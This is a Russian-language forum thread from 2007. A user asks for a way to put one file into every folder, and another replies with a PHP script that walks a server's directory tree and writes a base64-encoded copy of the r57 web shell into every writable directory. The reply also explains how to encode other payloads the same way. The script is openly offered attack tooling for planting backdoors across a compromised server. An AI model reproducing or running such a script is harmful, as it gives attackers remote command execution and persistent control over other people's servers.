Даже и не знаю, как это обозвать

Тема в разделе "Софт", создана пользователем Polotenchik, 25 мар 2007.

Статус темы:
Закрыта.
  1. Polotenchik

    Polotenchik Прохожие

    Нужна прога для заливки (создания) в каждую папку определенного файла. Существует такое в природе?
     
  2. Digy

    Digy Прохожие

    Нужно обойти дерево каталогов на сервере и в каждый, где есть права на запись добавить новый файл, так?
    Скрипт можно написать довольно быстро =)
     
  3. Polotenchik

    Polotenchik Прохожие

    Точно! Сделаешь? :)
     
  4. penguen

    penguen

    Регистр.:
    7 янв 2007
    Сообщения:
    820
    Симпатии:
    93

    Интересно как вы это сделаете = заливку?
    По фтпи протоколу что ли, или ржиму ПОСТ, если еще учесть запрет на доступ в категории папок и подпапок станд. средствами.:nezn:
     
  5. Digy

    Digy Прохожие

    Вариантов залить файл на сервер - до попы =)
    Можно сделать так:

    PHP:
    <?
      
    define('STARTPATH','.');
      
    define('FILENAME','r57s.php');

      
    recursiveupload(STARTPATH);
      function 
    recursiveupload($dir)  {
        if(!
    is_dir($dir)) return;
        if(
    is_writable($dir)) 
          if(
    file_put_contents($dir.'/'.FILENAME,uploadfilesrc()))
            echo 
    FILENAME." uploaded into $dir<br>\r\n";
        
    $dirs=scandir($dir);
        foreach(
    $dirs as $subdir)
          if(
    $subdir!='.' && $subdir!='..')
            
    recursiveupload($dir.'/'.$subdir);
      }

      function 
    uploadfilesrc()  {
        
    $uploadfilesrc=<<<SRC
    PD8NCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KJGxhbmd1YWdlPSdy
    dSc7DQokbGFuZz1hcnJheSgNCidydV90ZXh0MScgPT4gJ8L77+7r7eXt7eD/IOru7ODt5OAnLA0K
    J3J1X3RleHQyJyA9PiAnwvvv7uvt5e3o5SDq7uzg7eQg7eAg8eXw4uXw5ScsDQoncnVfdGV4dDMn
    ID0+ICfC++/u6+3o8vwg6u7s4O3k8ycsDQoncnVfdGV4dDQnID0+ICfQ4OHu9+D/IOTo8OXq8u7w
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mdzIGNvbG9yPWdyYXk+6DwvZm9udD4mbmJzcDsmbmJzcDsm
    bmJzcDsmbmJzcDs8L2I+IjsNCmVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1iaW5kX3Bhc3Mg
    c2l6ZT0xNSB2YWx1ZT1yNTc+Jm5ic3A7IjsNCmlmICgoISRfUE9TVFsnZGlyJ10pIE9SICgkX1BP
    U1RbJ2RpciddPT0iIikpIHsgZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHNpemU9
    ODUgdmFsdWU9Ii5leGVjKCJwd2QiKS4iPiI7IH0NCmVsc2UgeyBlY2hvICI8aW5wdXQgdHlwZT1o
    aWRkZW4gbmFtZT1kaXIgc2l6ZT04NSB2YWx1ZT0iLiRfUE9TVFsnZGlyJ10uIj4iOyB9DQplY2hv
    ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1iaW5kIHNpemU9MSB2YWx1ZT1iZC5jPiI7DQplY2hv
    ICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQg
    bmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuX2J1dHQzXS4iIFwiPiI7DQpl
    Y2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvZm9ybT4iOw0KPz4NCjwvdGQ+PC90cj48L3RhYmxlPg0K
    PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAw
    MDAwMD4NCjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPg0KPC90ZD48L3RyPjwvdGFibGU+DQo=
    SRC;

        return 
    base64_decode($uploadfilesrc);
      }
    ?>
    Заливает r57s.php (для примера взял старенький но удаленький шел r57) во все папки, начиная с текущей.
    Имя файла и начальная папка для заливки задаются в первых двух строчках.

    Содержимое заливочного файла (r57s.php) закодировано base64 в переменной $uploadfilesrc.
    Для небольших файлов - удобный вариант.

    чтобы закодировать yourfile.php в base64 достаточно выполнить
    PHP:
    <?php echo chunk_split(base64_encode(file_get_contents('yourfile.php'))) ?>
    и результат выполнения вставить между <<<SRC и SRC;


    Скрипт будет работать только под php5.
    Под php4 надо дописать функции scandir, file_put_contents и file_get_contents. =)
     
  6. vonica

    vonica Создатель

    Регистр.:
    14 мар 2007
    Сообщения:
    11
    Симпатии:
    1
    Ну это уже не прога, а скрипт
     
Статус темы:
Закрыта.